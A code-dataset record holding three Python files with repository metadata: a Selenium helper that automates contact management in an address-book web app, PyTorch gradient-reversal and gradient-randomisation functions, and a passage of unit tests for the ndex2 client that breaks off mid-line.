8
5f6ebe4b0a4c0951c5ba3ad5663a501c8e4b2be0
23,428
py
Python
fixture/contact.py
Oceanic-815/python_training
fdb6125a5a95536923ede20a1d5e57bdcadaa1be
[ "Apache-2.0" ]
null
null
null
fixture/contact.py
Oceanic-815/python_training
fdb6125a5a95536923ede20a1d5e57bdcadaa1be
[ "Apache-2.0" ]
null
null
null
fixture/contact.py
Oceanic-815/python_training
fdb6125a5a95536923ede20a1d5e57bdcadaa1be
[ "Apache-2.0" ]
null
null
null
from model.contact_properties import Contact_properties import re class ContactHelper: def __init__(self, app): self.app = app def add_contact(self, contact_properties): wd = self.app.wd # open "Add new contact" page wd.find_element_by_link_text("add new").click() # enter a first name wd.find_element_by_name("firstname").click() wd.find_element_by_name("firstname").clear() wd.find_element_by_name("firstname").send_keys(contact_properties.firstname) # enter a middle name wd.find_element_by_name("middlename").click() wd.find_element_by_name("middlename").clear() wd.find_element_by_name("middlename").send_keys(contact_properties.middlename) # enter last name wd.find_element_by_name("lastname").click() wd.find_element_by_name("lastname").clear() wd.find_element_by_name("lastname").send_keys(contact_properties.lastname) # enter a nickname wd.find_element_by_name("nickname").click() wd.find_element_by_name("nickname").clear() wd.find_element_by_name("nickname").send_keys(contact_properties.nickname) # enter title wd.find_element_by_name("title").click() wd.find_element_by_name("title").clear() wd.find_element_by_name("title").send_keys(contact_properties.title) # enter company wd.find_element_by_name("company").click() wd.find_element_by_name("company").clear() wd.find_element_by_name("company").send_keys(contact_properties.company) # enter address wd.find_element_by_name("address").click() wd.find_element_by_name("address").clear() wd.find_element_by_name("address").send_keys(contact_properties.address) # enter home phone number wd.find_element_by_name("home").click() wd.find_element_by_name("home").clear() wd.find_element_by_name("home").send_keys(contact_properties.home) # enter mobile phone number wd.find_element_by_name("mobile").click() wd.find_element_by_name("mobile").clear() wd.find_element_by_name("mobile").send_keys(contact_properties.mobile) # enter work phone number wd.find_element_by_name("work").click() wd.find_element_by_name("work").clear() wd.find_element_by_name("work").send_keys(contact_properties.work) # enter a faz number wd.find_element_by_name("fax").click() wd.find_element_by_name("fax").clear() wd.find_element_by_name("fax").send_keys(contact_properties.fax) # enter the first email address wd.find_element_by_name("email").click() wd.find_element_by_name("email").clear() wd.find_element_by_name("email").send_keys(contact_properties.email) # enter the second email address wd.find_element_by_name("email2").click() wd.find_element_by_name("email2").clear() wd.find_element_by_name("email2").send_keys(contact_properties.email2) # enter the third email address wd.find_element_by_name("email3").click() wd.find_element_by_name("email3").clear() wd.find_element_by_name("email3").send_keys(contact_properties.email3) # enter a homepage wd.find_element_by_name("homepage").click() wd.find_element_by_name("homepage").clear() wd.find_element_by_name("homepage").send_keys(contact_properties.homepage) if not wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").click() # enter the birthday date wd.find_element_by_name("byear").click() wd.find_element_by_name("byear").clear() wd.find_element_by_name("byear").send_keys(contact_properties.byear) if not wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").click() # enter another date wd.find_element_by_name("ayear").click() wd.find_element_by_name("ayear").clear() wd.find_element_by_name("ayear").send_keys(contact_properties.ayear) # enter the second address wd.find_element_by_name("address2").click() wd.find_element_by_name("address2").clear() wd.find_element_by_name("address2").send_keys(contact_properties.address2) # enter the second phone number wd.find_element_by_name("phone2").click() wd.find_element_by_name("phone2").clear() wd.find_element_by_name("phone2").send_keys(contact_properties.phone2) # enter notes wd.find_element_by_name("notes").click() wd.find_element_by_name("notes").clear() wd.find_element_by_name("notes").send_keys(contact_properties.notes) #saving contact wd.find_element_by_name("submit").click() wd.find_element_by_link_text("home").click() # Clean up cache self.contact_cache = None def add_contact_into_group(self, contact_properties): wd = self.app.wd wd.find_element_by_link_text("add new").click() # enter a first name wd.find_element_by_name("firstname").click() wd.find_element_by_name("firstname").clear() wd.find_element_by_name("firstname").send_keys(contact_properties.firstname) # enter a middle name wd.find_element_by_name("middlename").click() wd.find_element_by_name("middlename").clear() wd.find_element_by_name("middlename").send_keys(contact_properties.middlename) # enter last name wd.find_element_by_name("lastname").click() wd.find_element_by_name("lastname").clear() wd.find_element_by_name("lastname").send_keys(contact_properties.lastname) # enter a nickname wd.find_element_by_name("nickname").click() wd.find_element_by_name("nickname").clear() wd.find_element_by_name("nickname").send_keys(contact_properties.nickname) # specify a group if not wd.find_element_by_xpath("//div[@id='content']/form/select[5]//option[3]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[5]//option[3]").click() wd.find_element_by_xpath("//div[@id='content']/form/input[21]").click() def edit_contact(self): self.edit_contact_by_index(0) self.contact_cache = None def edit_contact_by_index(self, index_cont): wd = self.app.wd # open contacts page if this page is still not open. Else - start editing contact if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() rowList = wd.find_elements_by_name("entry")[index_cont] cellsList = rowList.find_elements_by_tag_name("td") # создаем список ячеек в строке selectCell = cellsList[7] # присваиваем переменной восьмую ячейку selectCell.find_element_by_tag_name("a").click() # Editing contact wd.find_element_by_name("firstname").click() wd.find_element_by_name("firstname").clear() wd.find_element_by_name("firstname").send_keys("Edited!!!") # enter a middle name wd.find_element_by_name("middlename").click() wd.find_element_by_name("middlename").clear() wd.find_element_by_name("middlename").send_keys("Edited!!!") # enter last name wd.find_element_by_name("lastname").click() wd.find_element_by_name("lastname").clear() wd.find_element_by_name("lastname").send_keys("Edited!!!") # enter a nickname wd.find_element_by_name("nickname").click() wd.find_element_by_name("nickname").clear() wd.find_element_by_name("nickname").send_keys("Edited!!!") # enter title wd.find_element_by_name("title").click() wd.find_element_by_name("title").clear() wd.find_element_by_name("title").send_keys("Edited!!!") # enter company wd.find_element_by_name("company").click() wd.find_element_by_name("company").clear() wd.find_element_by_name("company").send_keys("Edited!!!") # enter address wd.find_element_by_name("address").click() wd.find_element_by_name("address").clear() wd.find_element_by_name("address").send_keys("Edited!!!") # enter home phone number wd.find_element_by_name("home").click() wd.find_element_by_name("home").clear() wd.find_element_by_name("home").send_keys("100000") # enter mobile phone number wd.find_element_by_name("mobile").click() wd.find_element_by_name("mobile").clear() wd.find_element_by_name("mobile").send_keys("111111") # enter work phone number wd.find_element_by_name("work").click() wd.find_element_by_name("work").clear() wd.find_element_by_name("work").send_keys("222222") # enter a faz number wd.find_element_by_name("fax").click() wd.find_element_by_name("fax").clear() wd.find_element_by_name("fax").send_keys("333333") # enter the first email address wd.find_element_by_name("email").click() wd.find_element_by_name("email").clear() wd.find_element_by_name("email").send_keys("Edited!!!@fgh.com") # enter the second email address wd.find_element_by_name("email2").click() wd.find_element_by_name("email2").clear() wd.find_element_by_name("email2").send_keys("Edited!!!@edited.com") # enter the third email address wd.find_element_by_name("email3").click() wd.find_element_by_name("email3").clear() wd.find_element_by_name("email3").send_keys("Edited!!!@fff.cv") # enter a homepage wd.find_element_by_name("homepage").click() wd.find_element_by_name("homepage").clear() wd.find_element_by_name("homepage").send_keys("Edited!!!.edit.ed") if not wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").click() # enter the birthday date wd.find_element_by_name("byear").click() wd.find_element_by_name("byear").clear() wd.find_element_by_name("byear").send_keys("Edited!!!") if not wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").click() # enter another date wd.find_element_by_name("ayear").click() wd.find_element_by_name("ayear").clear() wd.find_element_by_name("ayear").send_keys("Edited!!!") # enter the second address wd.find_element_by_name("address2").click() wd.find_element_by_name("address2").clear() wd.find_element_by_name("address2").send_keys("Edited!!!") # enter the second phone number wd.find_element_by_name("phone2").click() wd.find_element_by_name("phone2").clear() wd.find_element_by_name("phone2").send_keys("444444") # enter notes wd.find_element_by_name("notes").click() wd.find_element_by_name("notes").clear() wd.find_element_by_name("notes").send_keys("Edited!!!") #saving contact wd.find_element_by_name("update").click() # Clean up cache self.contact_cache = None def edit_contact_by_id(self, id): wd = self.app.wd if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() checkbox = wd.find_element_by_css_selector("input[value='%s']" % id) row = checkbox.find_element_by_xpath("./../..") cell = row.find_elements_by_tag_name("td")[7] cell.find_element_by_tag_name("a").click() wd.find_element_by_name("firstname").click() wd.find_element_by_name("firstname").clear() wd.find_element_by_name("firstname").send_keys("Edited!!!") wd.find_element_by_name("middlename").click() wd.find_element_by_name("middlename").clear() wd.find_element_by_name("middlename").send_keys("Edited!!!") wd.find_element_by_name("lastname").click() wd.find_element_by_name("lastname").clear() wd.find_element_by_name("lastname").send_keys("Edited!!!") wd.find_element_by_name("nickname").click() wd.find_element_by_name("nickname").clear() wd.find_element_by_name("nickname").send_keys("Edited!!!") wd.find_element_by_name("title").click() wd.find_element_by_name("title").clear() wd.find_element_by_name("title").send_keys("Edited!!!") wd.find_element_by_name("company").click() wd.find_element_by_name("company").clear() wd.find_element_by_name("company").send_keys("Edited!!!") wd.find_element_by_name("address").click() wd.find_element_by_name("address").clear() wd.find_element_by_name("address").send_keys("Edited!!!") wd.find_element_by_name("home").click() wd.find_element_by_name("home").clear() wd.find_element_by_name("home").send_keys("100000") wd.find_element_by_name("mobile").click() wd.find_element_by_name("mobile").clear() wd.find_element_by_name("mobile").send_keys("111111") wd.find_element_by_name("work").click() wd.find_element_by_name("work").clear() wd.find_element_by_name("work").send_keys("222222") wd.find_element_by_name("fax").click() wd.find_element_by_name("fax").clear() wd.find_element_by_name("fax").send_keys("333333") wd.find_element_by_name("email").click() wd.find_element_by_name("email").clear() wd.find_element_by_name("email").send_keys("Edited!!!@fgh.com") wd.find_element_by_name("email2").click() wd.find_element_by_name("email2").clear() wd.find_element_by_name("email2").send_keys("Edited!!!@edited.com") wd.find_element_by_name("email3").click() wd.find_element_by_name("email3").clear() wd.find_element_by_name("email3").send_keys("Edited!!!@fff.cv") wd.find_element_by_name("homepage").click() wd.find_element_by_name("homepage").clear() wd.find_element_by_name("homepage").send_keys("Edited!!!.edit.ed") if not wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[1]//option[6]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[2]//option[5]").click() wd.find_element_by_name("byear").click() wd.find_element_by_name("byear").clear() wd.find_element_by_name("byear").send_keys("Edited!!!") if not wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[3]//option[7]").click() if not wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").is_selected(): wd.find_element_by_xpath("//div[@id='content']/form/select[4]//option[8]").click() wd.find_element_by_name("ayear").click() wd.find_element_by_name("ayear").clear() wd.find_element_by_name("ayear").send_keys("Edited!!!") wd.find_element_by_name("address2").click() wd.find_element_by_name("address2").clear() wd.find_element_by_name("address2").send_keys("Edited!!!") wd.find_element_by_name("phone2").click() wd.find_element_by_name("phone2").clear() wd.find_element_by_name("phone2").send_keys("444444") wd.find_element_by_name("notes").click() wd.find_element_by_name("notes").clear() wd.find_element_by_name("notes").send_keys("Edited!!!") wd.find_element_by_name("update").click() self.contact_cache = None def del_contact(self): self.del_contact_by_index(0) def del_contact_by_index(self, index_cont): wd = self.app.wd # open contacts page if this page is still not open. Else - start deleting contact if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() # select the first contact from the list wd.find_elements_by_name("selected[]")[index_cont].click() # contact deletion begins wd.find_element_by_xpath("//div[@id='content']/form[2]/div[2]/input").click() wd.switch_to_alert().accept() wd.find_element_by_link_text("home").click() # Clean up cache self.contact_cache = None def del_contact_by_id(self, id): wd = self.app.wd if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() wd.find_element_by_css_selector("input[value='%s']" % id).click() wd.find_element_by_xpath("//div[@id='content']/form[2]/div[2]/input").click() wd.switch_to_alert().accept() wd.find_element_by_link_text("home").click() # define if there is any contact in the contacts list def count_cont(self): wd = self.app.wd wd.find_element_by_link_text("home").click() return len(wd.find_elements_by_name("selected[]")) # Сравниваем список контактов до и после добавления/удаления/модификации групп contact_cache = None def get_contact_list(self): if self.contact_cache is None: wd = self.app.wd wd.find_element_by_link_text("home").click() self.contact_cache = [] for element in wd.find_elements_by_name("entry"): id = element.find_element_by_name("selected[]").get_attribute("value") # записываем в переменную атрибут "value" чек бокса cellsList = element.find_elements_by_tag_name("td") # присваиваем переменной cellsList список элементов с именем тэга "td" - все ячейки строки lastNameCell = cellsList[1] # присваиваем переменной второй элемент в списке - ячейку с фамилией firstNameCell = cellsList[2] # ячейка с именем textFromLastName = lastNameCell.text # получаем текст из ячейки с фамилией textFromFirstName = firstNameCell.text # получаем текст из ячейки с именем addressCell = cellsList[3].text allEmails = cellsList[4].text all_phones = cellsList[5].text # из ячейки 5 берем text self.contact_cache.append(Contact_properties(lastname=textFromLastName, firstname=textFromFirstName, id=id, address=addressCell, allEmails_from_home_page=allEmails, all_phones_from_home_page=all_phones)) # добавляем имя, фамилию и id в список контактов, а также телефоны return list(self.contact_cache) # открыть контакт для радактирования по индексу чтобы считать информацию с полей для метода get_contact_info_from_edit_page def open_contact_edit_page_by_index(self, index_cont): wd = self.app.wd if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() rowList = wd.find_elements_by_name("entry")[index_cont] selectCell = rowList.find_elements_by_tag_name("td")[7] selectCell.find_element_by_tag_name("a").click() # открыть страницу контакта по индексу def open_contact_view_page_by_index(self, index_cont): wd = self.app.wd if not (wd.current_url.endswith("/addressbook/")) and len(wd.find_elements_by_name("add")) > 0: wd.find_element_by_link_text("home").click() rowList = wd.find_elements_by_name("entry")[index_cont] selectCell = rowList.find_elements_by_tag_name("td")[6] selectCell.find_element_by_tag_name("a").click() def get_contact_info_from_edit_page(self, index_cont): self.open_contact_edit_page_by_index(index_cont) wd = self.app.wd firstname = wd.find_element_by_name("firstname").get_attribute("value") lastname = wd.find_element_by_name("lastname").get_attribute("value") id = wd.find_element_by_name("id").get_attribute("value") home = wd.find_element_by_name("home").get_attribute("value") work = wd.find_element_by_name("work").get_attribute("value") mobile = wd.find_element_by_name("mobile").get_attribute("value") phone2 = wd.find_element_by_name("phone2").get_attribute("value") address = wd.find_element_by_name("address").text email = wd.find_element_by_name("email").get_attribute("value") email2 = wd.find_element_by_name("email2").get_attribute("value") email3 = wd.find_element_by_name("email3").get_attribute("value") wd.find_element_by_link_text("home").click() # Из полученных данных строим объект (название_параметра = название_локальной_переменной) return Contact_properties(firstname=firstname, lastname=lastname, id=id, home=home, work=work, mobile=mobile, phone2=phone2, address=address, email=email, email2=email2, email3=email3) def get_contact_from_view_page(self, index_cont): wd = self.app.wd self.open_contact_view_page_by_index(index_cont) text = wd.find_element_by_id("content").text # получаем текст со страницы просмотра контакта homephone = re.search("H: (.*)", text).group(1) workphone = re.search("W: (.*)", text).group(1) mobilephone = re.search("M: (.*)", text).group(1) secondaryphone = re.search("P: (.*)", text).group(1) wd.find_element_by_link_text("home").click() return Contact_properties(home=homephone, work=workphone, mobile=mobilephone, phone2=secondaryphone)
55.648456
167
0.658486
3,204
23,428
4.477216
0.074594
0.11084
0.234716
0.264552
0.815336
0.812757
0.774765
0.753294
0.740049
0.734193
0
0.010269
0.197755
23,428
420
168
55.780952
0.752966
0.090703
0
0.733138
0
0
0.159154
0.061844
0
0
0
0
0
1
0.043988
false
0
0.005865
0
0.067449
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
3994ed02d297f7bb3d5f4f2e3654b74b91a792f5
2,355
py
Python
backward_functions.py
wiatrak2/BScThesis
e5dd012fd9052e7088d8464b409dc055dbfcf840
[ "MIT" ]
null
null
null
backward_functions.py
wiatrak2/BScThesis
e5dd012fd9052e7088d8464b409dc055dbfcf840
[ "MIT" ]
null
null
null
backward_functions.py
wiatrak2/BScThesis
e5dd012fd9052e7088d8464b409dc055dbfcf840
[ "MIT" ]
null
null
null
import numpy as np import torch import torch.nn as nn import torch.nn.functional as F class GRLog(torch.autograd.Function): def __init__(self, lambd=1., grad_log=None): self.lambd = lambd self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): if self.grad_log is not None: self.grad_log.append(grad_output) return grad_output * -self.lambd class GRandAdd(torch.autograd.Function): def __init__(self, lambd=1., grad_log=None): self.lambd = lambd self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): new_grad = grad_output + torch.rand_like(grad_output) * torch.mean(grad_output) if self.grad_log is not None: self.grad_log.append(new_grad) return new_grad class GRandMult(torch.autograd.Function): def __init__(self, lambd=1., grad_log=None): self.lambd = lambd self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): new_grad = grad_output * (torch.rand_like(grad_output) - 1) * 2 if self.grad_log is not None: self.grad_log.append(new_grad) return new_grad class GRandSign(torch.autograd.Function): def __init__(self, lambd=1., grad_log=None): self.lambd = lambd self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): new_grad = grad_output * torch.sign(torch.rand_like(grad_output) - 1) * self.lambd if self.grad_log is not None: self.grad_log.append(new_grad) return new_grad class GRand(torch.autograd.Function): def __init__(self, alpha=1., lambd=1., grad_log=None): self.alpha = alpha self.lambd = lambd self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): new_grad = (torch.rand_like(grad_output) - 1) * self.alpha * self.lambd if self.grad_log is not None: self.grad_log.append(new_grad) return new_grad class GRInv(torch.autograd.Function): def __init__(self, alpha=1., lambd=1., grad_log=None): self.lambd = lambd self.alpha = alpha self.grad_log = grad_log def forward(self, x): return x def backward(self, grad_output): new_grad = (torch.max(torch.abs(grad_output), 1)[0].unsqueeze(1) * torch.sign(grad_output) - grad_output) * self.alpha * self.lambd if self.grad_log is not None: self.grad_log.append(new_grad) return new_grad
26.460674
133
0.726115
389
2,355
4.159383
0.115681
0.12979
0.122373
0.088999
0.84487
0.84487
0.844252
0.817676
0.817676
0.809023
0
0.007591
0.160934
2,355
89
134
26.460674
0.811235
0
0
0.760563
0
0
0
0
0
0
0
0
0
1
0.253521
false
0
0.056338
0.084507
0.56338
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
9
39cd71b8fa5992f87907839dfaef5594e274a3a3
80,148
py
Python
tests/test_client.py
ndexbio/nice-cx-python
f8cf207e439b3afcf77c45ea80792968a2258bfb
[ "BSD-3-Clause" ]
5
2017-12-01T20:19:46.000Z
2022-03-06T19:22:36.000Z
tests/test_client.py
ndexbio/nice-cx-python
f8cf207e439b3afcf77c45ea80792968a2258bfb
[ "BSD-3-Clause" ]
77
2017-11-20T17:53:38.000Z
2022-01-26T23:43:34.000Z
tests/test_client.py
ndexbio/nice-cx-python
f8cf207e439b3afcf77c45ea80792968a2258bfb
[ "BSD-3-Clause" ]
5
2017-11-20T17:03:34.000Z
2021-04-26T20:40:20.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `ndex2.client` package.""" import os import sys import io import decimal import unittest import numpy as np import json import requests_mock from unittest.mock import MagicMock from requests.exceptions import HTTPError from ndex2 import client from ndex2.client import Ndex2 from ndex2.client import DecimalEncoder from ndex2 import __version__ from ndex2.exceptions import NDExInvalidCXError from ndex2.exceptions import NDExNotFoundError from ndex2.exceptions import NDExUnauthorizedError from ndex2.exceptions import NDExInvalidParameterError from ndex2.exceptions import NDExUnsupportedCallError from ndex2.exceptions import NDExError SKIP_REASON = 'NDEX2_TEST_USER environment variable detected, ' \ 'skipping for integration tests' @unittest.skipIf(os.getenv('NDEX2_TEST_SERVER') is not None, SKIP_REASON) class TestClient(unittest.TestCase): def get_rest_admin_status_dict(self, version='2.1'): return {"networkCount": 1321, "userCount": 12, "groupCount": 0, "message": "Online", "properties": {"ServerVersion": version, "ServerResultLimit": "10000"}} def get_rest_admin_v1_empty_dict(self): return {} def get_rest_admin_status_url(self): return client.DEFAULT_SERVER + '/rest/admin/status' def setUp(self): """Set up test fixtures, if any.""" pass def tearDown(self): """Tear down test fixtures, if any.""" pass def test_decimalencoder(self): dec = DecimalEncoder() if sys.version_info.major >= 3: # test bytes is returned as string res = dec.default(bytes('hello', 'utf-8')) self.assertTrue(isinstance(res, str)) # test decimal.Decimal is float res = dec.default(decimal.Decimal(5)) self.assertTrue(isinstance(res, float)) # test numpy.int64 is int res = dec.default(np.int64(12)) self.assertTrue(isinstance(res, int)) # test regular old int which throws TypeError try: res = dec.default(np.int32(1)) self.assertEqual(res, int(1)) except TypeError: pass def test_ndex2_constructor_with_localhost(self): # this is invasive, but there isn't really a good way # to test the constructor # try with nothing set ndex = Ndex2(host='localhost') self.assertEqual(ndex.debug, False) self.assertEqual(ndex.version, 1.3) self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, None) self.assertEqual(ndex.password, None) self.assertEqual(ndex.user_agent, '') self.assertEqual(ndex.host, 'http://localhost:8080/ndexbio-rest') self.assertTrue(ndex.s is not None) self.assertTrue(ndex.timeout, 30) ndex.set_request_timeout(10) self.assertTrue(ndex.timeout, 30) # try with user, pass and user_agent set oh and host # with extra text prepended to localhost ndex = Ndex2(host='xxxlocalhost', username='bob', password='smith', user_agent='yo', debug=True, timeout=1) self.assertEqual(ndex.debug, True) self.assertEqual(ndex.version, 1.3) self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, 'bob') self.assertEqual(ndex.password, 'smith') self.assertEqual(ndex.user_agent, ' yo') self.assertEqual(ndex.host, 'http://localhost:8080/ndexbio-rest') self.assertTrue(ndex.s is not None) self.assertTrue(ndex.timeout, 1) # try with user_agent set to None Issue #34 with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2(user_agent=None) self.assertEqual(ndex.user_agent, '') def test_ndex2_constructor_that_raises_httperror(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), text='uhoh', reason='some error', status_code=404) ndex = Ndex2() self.assertEqual(ndex.debug, False) self.assertEqual(ndex.version, '1.3') self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, None) self.assertEqual(ndex.password, None) self.assertEqual(ndex.user_agent, '') self.assertEqual(ndex.host, client.DEFAULT_SERVER + '/rest') self.assertTrue(ndex.s is not None) def test_ndex2_constructor_with_defaulthost_serverversionnone(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json={"networkCount": 1321, "userCount": 12, "groupCount": 0, "message": "Online", "properties": {"ServerVersion": None}}) ndex = Ndex2() self.assertEqual(ndex.debug, False) self.assertEqual(ndex.version, '1.3') self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, None) self.assertEqual(ndex.password, None) self.assertEqual(ndex.user_agent, '') self.assertEqual(ndex.host, client.DEFAULT_SERVER + '/rest') self.assertTrue(ndex.s is not None) def test_ndex2_constructor_with_defaulthost_properties_is_none(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json={"networkCount": 1321, "userCount": 12, "groupCount": 0, "message": "Online"}) ndex = Ndex2() self.assertEqual(ndex.debug, False) self.assertEqual(ndex.version, '1.3') self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, None) self.assertEqual(ndex.password, None) self.assertEqual(ndex.user_agent, '') self.assertEqual(ndex.host, client.DEFAULT_SERVER + '/rest') self.assertTrue(ndex.s is not None) def test_ndex2_constructor_with_defaulthost_thatisversionone(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json={"networkCount": 1321, "userCount": 12, "groupCount": 0, "message": "Online", "properties": {"ServerVersion": "1.1", "ServerResultLimit": "10000"}}) try: Ndex2() self.fail('Expected exception') except Exception as e: self.assertEqual(str(e), 'This release only supports NDEx 2.x server.') def test_ndex2_constructor_with_defaulthost_thatisversiontwo(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) ndex = Ndex2() self.assertEqual(ndex.debug, False) self.assertEqual(ndex.version, '2.1') self.assertEqual(ndex.status, {}) self.assertEqual(ndex.username, None) self.assertEqual(ndex.password, None) self.assertEqual(ndex.user_agent, '') self.assertEqual(ndex.host, client.DEFAULT_SERVER + '/v2') self.assertTrue(ndex.s is not None) def test_ndex2_require_auth(self): ndex = Ndex2(host='localhost') try: ndex._require_auth() self.fail('Expected exception') except Exception as e: self.assertEqual(str(e), 'This method requires user authentication') def test_ndex2_get_user_agent(self): ndex = Ndex2(host='localhost') # try with default res = ndex._get_user_agent() self.assertEqual(res, 'NDEx2-Python/' + __version__) ndex = Ndex2(host='localhost', user_agent='hi') # try with user_agent set res = ndex._get_user_agent() self.assertEqual(res, 'NDEx2-Python/' + __version__ + ' hi') def test_convert_exception_to_ndex_error(self): # try passing none ndex = Ndex2(host='localhost') try: ndex._convert_exception_to_ndex_error(None) except NDExError as ne: self.assertEqual('Caught unknown error', str(ne)) # try passing in a ValueError try: ndex._convert_exception_to_ndex_error(ValueError('hi')) except NDExError as ne: self.assertEqual('Caught ValueError: hi', str(ne)) def test_convert_requests_http_error_to_ndex_error(self): # try passing none ndex = Ndex2(host='localhost') try: ndex._convert_requests_http_error_to_ndex_error(None) except NDExError as ne: self.assertEqual('Caught unknown server error', str(ne)) error = MagicMock() error.response = MagicMock() error.response.status_code = 404 error.response.text = 'hi' # try passing in a mock HTTPError try: ndex._convert_requests_http_error_to_ndex_error(error) self.fail('Expected NDExNotFoundError') except NDExNotFoundError as ne: self.assertEqual('Caught 404 from server: hi', str(ne)) # try passing in a 500 error error.response.status_code = 500 try: ndex._convert_requests_http_error_to_ndex_error(error) self.fail('Expected NDExError') except NDExError as ne: self.assertEqual('Caught 500 from server: hi', str(ne)) def test_ndex2_put_no_json_empty_resp_code_204(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', status_code=204) ndex = Ndex2() res = ndex.put('/hi') self.assertEqual(res, '') def test_ndex2_put_no_json_empty_code_200(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', status_code=200, text='hehe', request_headers={'Content-Type': 'application/' 'json;charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.put('/hi') self.assertEqual(res, 'hehe') def test_ndex2_put_returns_code_401(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', status_code=401, text='hehe', request_headers={'Content-Type': 'application/' 'json;charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}) ndex = Ndex2() ndex.set_debug_mode(True) try: ndex.put('/hi') self.fail('Expected HTTPError') except HTTPError as he: self.assertEqual(he.response.status_code, 401) self.assertEqual(he.response.text, 'hehe') def test_ndex2_put_returns_code_500(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', status_code=500, text='hehe', request_headers={'Content-Type': 'application/' 'json;charset=UTF-8', 'Accept': 'application/json', 'User-Agent': client.userAgent}, headers={'Content-Type': 'application/foo'}) ndex = Ndex2() ndex.set_debug_mode(True) try: ndex.put('/hi') self.fail('Expected HTTPError') except HTTPError as he: self.assertEqual(he.response.status_code, 500) self.assertEqual(he.response.text, 'hehe') def test_ndex2_put_with_json_and_json_resp(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.put(client.DEFAULT_SERVER + '/v2/hi', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.put('/hi', put_json='{"x": "y"}') self.assertEqual(res, {'hi': 'bye'}) def test_ndex2_post_with_json_and_json_resp(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), json=self.get_rest_admin_status_dict()) m.post(client.DEFAULT_SERVER + '/v2/hi', status_code=200, json={'hi': 'bye'}, headers={'Content-Type': 'application/json'}) ndex = Ndex2() ndex.set_debug_mode(True) res = ndex.post('/hi', post_json='{"x": "y"}') self.assertEqual(res, {'hi': 'bye'}) def test_ndex2_delete_with_json_and_json_resp(self): with requests_mock.mock() as m: m.get(self.get_rest_admin_status_url(), 